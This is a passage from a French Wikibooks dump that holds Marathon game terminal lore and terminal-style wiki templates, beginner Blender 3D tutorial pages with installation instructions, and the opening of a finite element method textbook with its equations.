\frac{(b-a)^{n+1}}{(n+1)!} f^{(n+1)}(c) </math> Image:800px-Blender 2.36 Screenshot.jpg 4613 16986 2005-07-20T16:30:47Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_2.36_Screenshot.jpg Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_2.36_Screenshot.jpg Marathon - Marathon 2 - Écran final 4615 20437 2005-09-02T12:13:13Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> C'était dix mille ans avant que le destin mène de nouveau Durandal au contact avec les hommes. Les Pfhor ne furent ensuite qu'une vague mémoire, connue seulement par quelques historiens et étudiants de la second période colonialiste terrienne. Les S'pht furent de même été presque oubliés, et aucun humain ne vit plus de spécimen vivant de leur race depuis le saccage du système Pfhor par les flottes combinées de la Terre et des S'pht'Kr en 2881. Quand Durandal retourna à Sol, ce ne fut pas avec le ''Khfiva'' qu'il avait capturé, mais dans un cuirassé Jjaro qu'il appela ''Manus Celer Dei''. Il ne dit à personne ce qu'il avait appris des Jjaro, disant seulement qu'il s'était arrêté en passant pour s'assurer que la Terre ne l'oublie pas. Il ne révéla pas non plus comment il avait embrouillé le Garde vers Pluton avant d'arriver directement sur une orbite basse de la Terre. Lorsque Tau Ceti fut rasée en 2794, les scientifiques Pfhor désassemblèrent et extirpèrent l'IA Leela du Marathon, la chargeant à bord d'un vaisseau à destination du système natal des Pfhor. Mais le vaisseau tomba entre les mains d'un corsaire Nar à Beta Naxos, et ne fut jamais plus revus par les Pfhor. Pensant plus à la cargaison qu'à la bagarre, le capitaine revendit le vaisseau Pfhor, avec Leela et tout le reste, à un marchant Vylae. La panne du réseau FTL Vylae après que Leela ait été réassemblée et réactivée est toujours légendaire dans les annales du Rampant, et les Vylae ont depuis longtemps accepté qu'ils ne pourront jamais la supprimer de leur réseau interplanétaire. Malgré la perte de Leela, les Pfhor apprirent beaucoup de Tycho durant les dix-sept années précédant sa déstruction par Durandal dans le système de Lh'owon. Toutes les IA Pfhor ultérieures furent basées sur soixante-quatre milliard d'exo-octets d'images récupérées du noyau de Tycho, prises pendant les années ou il fut dans le système Pfhor, entre 2795 et 2801. Bien qu'aucune de ces machines ne fut jamais aussi intelligente ou utile qu'une des trois IA originales du Marathon, elles aidèrent néanmoins les Pfhor à retarder leur inévitable défaite par les S'pht de plus de cinquante ans. Beaucoup de ces clones diminués de Tycho existent encore aujourd'hui sur les vieux mondes colonisés par les Pfhor. Robert Blake et ses hommes échappèrent à la destruction de Lh'owon à bord du vaisseau de ravitaillement Pfhor Hfarl, et retournèrent sur Terre. Aucun d'entre eux ne s'est jamais demandé qui avait tué l'équipage avant qu'ils soient montés à bord du vaisseau. Ce furent les seul survivants humains de la colonie originale de Tau Ceti. <center>[[Marathon - Marathon 2 - S'pht'Kr|< S'pht'Kr]] •                 </center> Modèle:Terminal Marathon 1 4616 17058 2005-07-21T10:17:40Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#270000" |height="16" style="font: 85% Courier; color: #ff0000"|Opening Connection to ß.4.5-23 |height="16" style="font: 85% Courier; color: #ff0000" align="right"|0218 08.25.2337 |} {|width="448" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="167" align="center" valign="bottom"|{{{1}}} |- bgcolor="#000000" |height="60" style="font: 85% Courier; color: #00ff00" valign="top" align="center"|{{{2}}} |} {| width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"|CAS.qterm//CyberAcme Systems, Inc. |height="16" style="font: 85% Courier; color: #ff0000" align="right"|<931.461.60231.14.vt920> |} |} Modèle:Terminal Marathon 2 4618 17061 2005-07-21T10:19:44Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"|UESCTerm 802.11 (remote override) |height="16" style="font: 85% Courier; color: #ff0000" align="right"|0218 08.25.2337 |} {|width="448" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="227" style="font: 85% Courier; color: #00ff00" valign="top"|{{{1}}} |} {| width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="16" style="font: 85% Courier; color: #ff0000" align="right"|Return/Enter to Acknowledge |} |} Blender 3D: du débutant au pro/Didacticiels débutants 4619 45732 2006-06-26T07:20:43Z Guillaumito 46 restitution de la dernière modification de Cedric <div>''Sommaire : [[Blender3D]]''</div> <div><small>''Page suivante : [[Blender 3D: du débutant au pro/Didacticiel de syntaxe]]''</small></div> Donc, vous souhaitez apprendre à vous servir de Blender ? Vous avez fait le bon choix. C'est un des outils de création et d'animation 3D le plus puissant qui existe, précisément si vous êtes à court d'argent. Apprendre à vous en servir peut être une tâche ardue, donc '''ne vous découragez pas !''' Mais avec l'aide de ce wikilivre, vous pourrez bientôt devenir un pro et mettre la honte à tous ceux qui utilisent Maya. En ajout à ce wikilivre, il existe un bon nombre d'autres ressources. [http://www.blender3d.org/e-shop/product_info.php?products_id=79 Le guide Blender 2.3 (en anglais)] est un bon livre. Vous pouvez obtenir une aide appréciable sur [http://elysiun.com elysiun.com]. Si vous avez un client IRC tel que [http://xchat.org X-Chat], vous pouvez vous connecter sur '''irc.freenode.net''' et parler avec les utilisateurs de Blender sur les canaux suivants : <div>[irc://irc.freenode.net/blender #blender]</div> <div>[irc://irc.freenode.net/blender.wikibooks #blender.wikibooks]</div> <div>[irc://irc.freenode.net/blenderchat #blenderchat]</div> <div>[irc://irc.freenode.net/blenderqa #blenderqa]</div> <div>[irc://irc.freenode.net/gameblender #gameblender]</div> Si vous avez des questions ou des problèmes avec ces didacticiels, cliquez sur l'onglet "discussion" sur la page où vous avez un problème et expliquez la difficulté. N'hésitez pas à participer à la discussion. ==Note sur l'édition== Si vous trouvez une erreur ou une "amélioration à apporter", ne l'indiquez pas seulement à quelqu'un - FAITES-LA ! Au sommet de chaque page se trouve un onglet "modifier". Utilisez-le ! Vous n'avez pas besoin de créer un compte pour cela. ==Guide d'installation rapide== Système d'exploitation (par ordre alphabétique) : * '''Linux: Fedora Core 3 :''' téléchargez le fichier blender rpm à partir de Fedora Extras (peut ne pas contenir la dernière version) * '''Linux: Arch :''' exécutez cette commande : pacman -Sy blender * '''Linux: Debian :''' exécutez cette commande : apt-get install blender (peut ne pas contenir la dernière version) * '''Linux: Gentoo :''' exécutez cette commande : emerge blender (peut ne pas contenir la dernière version) * '''Linux: Mandrake :''' téléchargez le [http://planetmirror.com/pub/blender/release/Blender2.37/blender-2.37-linux-glibc2.3.2-powerpc-static.tar.gz tarball], décompactez-le, puis lancez "./blender" dans le répertoire Blender * '''Linux: SuSE :''' Installez Blender à partir de YaST Package Manager * '''Linux: Ubuntu :''' assurez-vous que vous avez activé l'accès à 'universe' et effectuez : apt-get install blender * '''MacOS X: 10.2 :''' téléchargez l' [http://public.planetmirror.com/pub/blender/release/Blender2.37a/blender-2.37a-OSX-10.2-powerpc.zip MacOS X 10.2 installateur de Blender 2.37a], dézippez-le et lancez-le * '''MacOS X: 10.3 :''' téléchargez l' [http://public.planetmirror.com/pub/blender/release/Blender2.37a/blender-2.37a-OSX-10.3-powerpc.zip MacOS X 10.3 installateur de Blender 2.37a] dézippez-le et lancez-le * '''Windows :''' téléchargez l' [http://public.planetmirror.com/pub/blender/release/Blender2.37a/blender-2.37a-windows.zip MS-Windows installateur de Blender 2.37a], dézippez-le et lancez-le * Il manque votre système d'exploitation ? Cliquez sur l'onglet "modifier" et ajoutez-le à cette page. Allez voir aussi la [http://www.blender3d.org/cms/Blender.31.0.html page de téléchargement officielle (en anglais)]. ==Liens== * http://www.blender.org/ - Page d'accueil officielle <div>''Sommaire : [[Blender3D]]''</div> <div><small>''Page suivante : [[Blender 3D: du débutant au pro/Didacticiel de syntaxe]]''</small></div> Blender 3D: du débutant au pro/Syntaxe du didacticiel 4621 45410 2006-06-22T16:53:01Z Antho2704 1258 [[Blender 3D: du débutant au pro/Syntaxe du didacticiela]] déplacé vers [[Blender 3D: du débutant au pro/Syntaxe du didacticiel]] <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Interface de Blender|Devenir familier avec l'interface de Blender]]''</div> <div><small>''Page précédente : [[Blender3D|Didacticiels débutant]]''</small></div> Comme vous le verrez à travers des didacticiels, vous riquez de rencontrer assez souvent des codes relativement incompréhensibles. Ces codes font référence aux touches du clavier et aux boutons de la souris que vous devrez utiliser. Ils ont été standardisés à travers la communauté Blender. Vous pouvez imprimer cette page pour vous en servir de pense-bête lors de la lecture de ce wikilivre. ==Clavier== Spécial/Fonction : <blockquote> <div>'''ALT''' &rarr; la touche Alt</div> <div>'''CTRL''' &rarr; la touche Ctrl (Control)</div> <div>'''F1''' - '''F12''' &rarr; les touches F1 à F12</div> <div>'''SHIFT''' &rarr; la touche Shift</div> <div>'''SPACE''' &rarr; la barre d'espace</div> <div>'''TAB''' &rarr; la touche Tab (les doubles flèches)</div> </blockquote> Alpha-numérique : <blockquote> <div>'''AKEY''' jusqu'à '''ZKEY''' &rarr; les lettres correspondantes sur le clavier</div> <div>'''0KEY''' jusqu'à '''9KEY''' &rarr; les chiffres correspondants sur le clavier (au-dessus des lettres) sur le clavier - '''PAS''' sur le pavé numérique</div> </blockquote> Pavé numérique : <blockquote> <div>'''NUM0''' jusqu'à '''NUM9''' &rarr; les chiffres correspondants sur le pavé numérique - '''PAS''' sur le clavier au-dessus des lettres ''('Num Lock' est généralement activé au démarrage)''</div> <div>'''NUM+''' et '''NUM&minus;''' &rarr; les touches correspondantes sur le pavé numérique</div> </blockquote> * Noter que dans Blender, il existe une grosse différence entre les chiffres sur le pavé numérique et ceux au-dessus des lettres du clavier. * Pour les utilisateur de laptop : vous devez activer l'option "Émuler le pavé numérique" si vous n'avez pas de pavé numérique sur votre laptop. Cette option se trouve au dessus du menu "File," "Add," "Timeline," <nowiki>[</nowiki>etc.<nowiki>]</nowiki>. Sélectionner l'option "System and OpenGL" (aussi appelé "User Preferences"). Vous pouvez maintenant activer l'option "Emulate Numpad". Vos touches 1 à 0 habituelles sur le haut du clavier seront désomais considérées comme des touches du pavé numérique. * Pour les laptops Macintosh, la touche F6 sans modificateurs bloque le clavier, où les touches alpha de la main droite émulent un pavé numérique. Vous devez vous en assurer et utiliser F6 de nouveau pour revenir à l'utilisation habituelle du clavier. ==Souris== Boutons : <blockquote> <div>'''LMB''' &rarr; bouton gauche de la souris</div> <div>'''MMB''' &rarr; bouton du milieu de la souris</div> <div>'''RMB''' &rarr; bouton droit de la souris</div> </blockquote> * Sur une souris à roulette, '''MMB''' veux dire la roulette. Si vous avez une souris à deux boutons, vous devriez acquérir une souris à roulette, ou au moins une souris à trois boutons; si ce n'est pas le cas, vous pouvez utiliser '''ALT+LMB''' pour simuler '''MMB'''. * Si vous êtes un utilisateur Linux, appuyer sur les deux boutons simultanément pour émuler MMB peut aussi marcher. <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Interface de Blender|Devenir familier avec l'interface de Blender]]''</div> <div><small>''Page précédente : [[Blender3D|Didacticiels débutant]]''</small></div> Blender 3D: du débutant au pro/Interface de Blender 4622 39652 2006-04-05T12:28:47Z Molyss 1342 <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Système de fenêtres de Blender]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Didacticiel de syntaxe]]''</small></div> Le système de fenêtres de Blender est une vraie merveille. Non, vraiment...! Vous pouvez arrêter de rire maintenant. Je sais, je sais, il ressemble à un tableau de bord de vaisseau spatial et vous n'avez jamais vu quelque chose comme cela, mais une fois que vous l'aurez assimilé, vous souhaiterez que tous vos programmes marchent ainsi. Allez à la page suivante pour en apprendre plus. [[Image:Image-Blenderwindow.png|800px|Impression d'écran de Blender]] <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Système de fenêtres de Blender]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Didacticiel de syntaxe]]''</small></div> Modèle:Terminal Marathon 3 4623 17060 2005-07-21T10:19:06Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"|UESCTerm 802.11 (remote override) |height="16" style="font: 85% Courier; color: #ff0000" align="right"|0218 08.25.2337 |} {|width="448" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="227" width="223" align="center" valign="top"|[[Image:{{{1}}}|213px]] |height="227" style="font: 85% Courier; color: #00ff00" valign="top"|{{{2}}} |} {| width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="16" style="font: 85% Courier; color: #ff0000" align="right"|Return/Enter to Acknowledge |} |} Modèle:Terminal Marathon 4 4624 17059 2005-07-21T10:18:40Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#270000" |height="16" style="font: 85% Courier; color: #ff0000"|Disconnecting... |height="16" style="font: 85% Courier; color: #ff0000" align="right"|0218 08.25.2337 |} {|width="448" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="167" align="center" valign="bottom"|{{{1}}} |- bgcolor="#000000" |height="60" style="font: 85% Courier; color: #00ff00" valign="top" align="center"|{{{2}}} |} {| width="448" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="16" style="font: 85% Courier; color: #ff0000"|CAS.qterm//CyberAcme Systems, Inc. |height="16" style="font: 85% Courier; color: #ff0000" align="right"|<931.461.60231.14.vt920> |} |} Modèle:Terminal Marathon2 2 4625 17053 2005-07-21T09:58:52Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font: 85% Courier; color: #ff0000"|UESCTerm 802.11 (remote override) |height="18" style="font: 85% Courier; color: #ff0000" align="right"|1246 05.10.2337 |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="284" width="324" align="center" valign="top"|[[Image:{{{1}}}|306px]] |height="284" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="3" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font: 85% Courier; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="18" style="font: 85% Courier; color: #ff0000" align="right"|Return/Enter to Acknowledge |} |} Modèle:Terminal Marathon 4626 17055 2005-07-21T10:01:19Z W'rkncacnter 327 Modèle:Terminal Marathon déplacé vers Modèle:Terminal Marathon 1 #redirect [[Modèle:Terminal Marathon 1]] Modèle:Terminal MarathonV 2 4627 20067 2005-08-26T16:06:04Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" |- | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| UESCTerm 802.11 (remote override) |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |width="324" height="284" align="center" valign="top"|[[Image:{{{1}}}|306px]] |height="284" style="font-family: Courier;font-size:11px;line-height:12px; color: #00ff00" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|Return/Enter to Acknowledge  |} |} Modèle:Terminal MarathonV 1 4628 20068 2005-08-26T16:07:43Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Opening Connection to ß.4.5-23 |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: #00ff00" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Modèle:Terminal MarathonV 3 4629 20069 2005-08-26T16:09:24Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Disconnecting... |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: #00ff00" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Modèle:Terminal MarathonR 1 4630 20078 2005-08-26T17:56:06Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Opening Connection to ß.4.5-23 |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Modèle:Terminal MarathonR 2 4631 20077 2005-08-26T17:55:33Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" |- | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| UESCTerm 802.11 (remote override) |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |width="324" height="284" align="center" valign="top"|[[Image:{{{1}}}|306px]] |height="284" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| PgUp/PgDn/Arrows to Scroll |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|Return/Enter to Acknowledge  |} |} Modèle:Terminal MarathonR 3 4632 20076 2005-08-26T17:54:41Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Disconnecting... |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| CAS.qterm//CyberAcme Systems, Inc. |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|<931.461.60231.14.vt920>  |} |} Méthode des éléments finis 4634 20870 2005-09-10T15:48:51Z Erwan-yves 478 {| align=center border="1" cellspacing="0"|- align=center | colspan = 3 | <br><font size=5>'''Méthode des éléments finis'''</font><br><br> |- align=center | colspan = 3 | <br><big>'''Résolution de problèmes physiques'''</big> |- valign=top align=center | {| style="border:1px solid white" cellpadding="3" cellspacing="3" align="left" |- align=center | [[Image:poutre_cinematique.png|250px]] |- align=center | '''<small></small>''' |- | [[Image:plaque_trouee.png|250px|]] |- align=center | '''<small></small>''' |- | [[Image:|175px|]] |- align=center | '''<small></small>''' |} | {| style="border:1px solid lightblue" cellpadding="3" cellspacing="3" align="center" | width=500px align=center bgcolor=#CCDDFF | La modélisation des problèmes physiques en analytique se révèle être parfois irréalisable. La montée en puissance de l'informatique nous a permis d'envisager de traiter un problème physique en le ramenant à une construction matricielle. Nous vous proposons d'étudier comment, à partir d'un problème physique donné dont on connait les équations, être capable de le résoudre en employant des démarches physiques et mathématiques rigoureuses. Aidez-nous à le mettre à jour et à le compléter, car c'est ainsi qu'il pourra pleinement atteindre son but : être utile ! |- |} <big>'''[[Méthode des éléments finis - Formulation|Commencer la lecture]]'''</big> Cet ouvrage est divisé en plusieurs chapitres que vous pourrez consulter en suivant les liens introduits dans le texte et signalés par la mention <br /> | {| style="border:1px solid white" cellpadding="3" cellspacing="3" align="left" |- align=center | [[Image:mode2.jpeg|300px|]] |- align=center | '''<small></small>''' |- align=center | [[Image:digue2.gif|300px|]] |- align=center | '''<small></small>''' |- align=center | [[Image:|175px|]] |- align=center | '''<small></small>''' |} |} [[Catégorie:Méthode des éléments finis]] Marathon - Marathon Infinity 4635 17824 2005-07-28T10:52:22Z W'rkncacnter 327 <center> {| style="float:mid;border:thin black solid;" cellpadding="5" cellspacing="0" !colspan="3" width="300" |<big>Les terminaux de Marathon</big> |- align=center |width="33%" |[[Marathon - Marathon 1|Marathon]] |width="33%" |[[Marathon - Marathon 2|Marathon 2]] |width="33%" |[[Marathon - Marathon Infinity|Marathon ∞]] |} </center> ''Les niveaux secrets sont en italique'' * Prologue *:1. [[Marathon - Marathon Infinity - Ne Cede Malis|Ne Cede Malis]] * Despair *:2. [[Marathon - Marathon Infinity - Rise Robot Rise|Rise Robot Rise]] *:''26. [[Marathon - Marathon Infinity - Robot World Arena|Robot World Arena]]'' *:3. [[Marathon - Marathon Infinity - Poor Yorick|Poor Yorick]] *:''27. [[Marathon - Marathon Infinity - Two for the Price of One|Two for the Price of One]]'' *:4. [[Marathon - Marathon Infinity - Confound Delivery|Confound Delivery]] *:5. [[Marathon - Marathon Infinity - Electric Sheep One|Electric Sheep One]] *:6. [[Marathon - Marathon Infinity - Where are monsters in dreams|Where are monsters in dreams]] *:''28. [[Marathon - Marathon Infinity - Aie Mak Sicur|Aie Mak Sicur]]'' * Rage *:7. [[Marathon - Marathon Infinity - Acme Station|Acme Station]] *:8. [[Marathon - Marathon Infinity - Post Naval Trauma|Post Naval Trauma]] *:9. [[Marathon - Marathon Infinity - Where Some Rarely Go|Where Some Rarely Go]] *:10. [[Marathon - Marathon Infinity - Thing What Kicks...|Thing What Kicks...]] *:11. [[Marathon - Marathon Infinity - Electric Sheep Two|Electric Sheep Two]] *:12. [[Marathon - Marathon Infinity - Whatever You Please|Whatever You Please]] *:''29. [[Marathon - Marathon Infinity - Carroll Street Station|Carroll Street Station]]'' *:13. [[Marathon - Marathon Infinity - Naw Man He's Close|Naw Man He's Close]] *:14. [[Marathon - Marathon Infinity - Foe Hammer|Foe Hammer]] *:15. [[Marathon - Marathon Infinity - Hang Brain|Hang Brain]] *:16. [[Marathon - Marathon Infinity - Electric Sheep Three|Electric Sheep Three]] *:17. [[Marathon - Marathon Infinity - Eat the Path|Eat the Path]] *:''30. [[Marathon - Marathon Infinity - You're Wormfood, Dude|You're Wormfood, Dude]]'' * Envy *:18. [[Marathon - Marathon Infinity - By Committee|By Committee]] *:19. [[Marathon - Marathon Infinity - One thousand thousand slimy things|One thousand thousand slimy things]] *:20. [[Marathon - Marathon Infinity - A Converted Church in Venice, Italy|A Converted Church in Venice, Italy]] *:21. [[Marathon - Marathon Infinity - Son of Grendel|Son of Grendel]] *:22. [[Marathon - Marathon Infinity - Strange Aeons|Strange Aeons]] *:23. [[Marathon - Marathon Infinity - Bagged Again|Bagged Again]] *:24. [[Marathon - Marathon Infinity - You Think You're Big Time? You're Gonna Die Big Time!|You Think You're Big Time? You're Gonna Die Big Time!]] *:25. [[Marathon - Marathon Infinity - Aye Mak Sicur|Aye Mak Sicur]] * [[Marathon - Marathon Infinity - Écran final|Écran final]] Méthode des éléments finis - Formulation 4636 40782 2006-04-23T14:25:06Z Erwan-yves 478 /* Formulation intégrale faible */ ==Introduction== Nous allons apprendre à résoudre des problèmes physiques pouvant être caractérisés par des équations aux dérivées partielles. Le but de cet article sera de montrer comment vérifier l'équation d'équilibre au sens intégral. Nous nous contenterons de voir ici la formulation pour un système à un degré de liberté. ==Formulation intégrale== ===Problème physique=== Nous considèrerons un problème physique continu linéaire stationnaire. <math> \left\{\begin{matrix} \frac {d}{dx} \left (\alpha(x) \cdot \frac {du(x)}{dx} \right) + \beta(x) \cdot u(x)-q(x)=0 \quad equation\ d\ '\ equilibre\ sur\ \Omega=]0,L[ \\ u(0)=u_0 \qquad et \qquad \left (\alpha(x) \cdot \frac {du(x)}{dx} \right)_{x=L}=Q_0 \quad conditions\ aux\ limites \qquad \qquad \end{matrix}\right. \, </math> avec : <math>\alpha, \beta, q, Q_0, u_0 \qquad </math> données physiques et conditions aux limites Démontrons cette équation : Nous allons prendre le cas d'une barre en traction compression. <math> \frac{\partial^2 u(x)}{\partial x^2}-\frac{1}{c_0^2}\frac{\partial^2 u(x)}{\partial t^2}=0 </math> Nous allons utiliser la méthode de séparation des variables. Soit <math>u=f(x,t)\,</math> on cheche la solution sous la forme <math>u(x,t)=a(t) \cdot w(x) \, </math> On a donc : <math> a(t)\frac{\partial^2 w(x)}{\partial x^2}-\frac{w(x)}{c_0^2}\frac{\partial^2 a(t)}{\partial t^2}=0 \Rightarrow \frac {c_0^2}{w(x)}\frac{\partial^2 w(x)}{\partial x^2}=\frac{1}{a(t)}\frac{\partial^2 a(t)}{\partial t^2}=K </math> On peut donc obtenir le système suivant : <math>\left\{\begin{matrix} c_0^2\frac{\partial^2 w(x)}{\partial x^2}=Kw(x) \\ \frac{\partial^2 a(t)}{\partial t^2}=K a(t) \end{matrix}\right. </math> On s'aperçoit donc que l'on peut découpler l'étude dynamique 1D homogène en un une étude spaciale et une étude temporelle les deux étant liées par la constante K, dont nous démontrerons plus tard qu'elle est nécessairement négative ou nulle et homogène à une pulsation propre. On appelle l'étude de ces pulsations associées à leurs modes propre l'analyse modale, mais cette étude fera partie d'un cours à part entière. Une fois la base modale constituée on peut réussir à étudier la réponse à un stimulus externe en gardant le découplage spacio-temporel que nous avons effectué. L'équation représentant le problème physique peut donc bien être considérée comme représentant beaucoup de problèmes de la physique classique. ====Conduction thermique==== ici <math>u \, 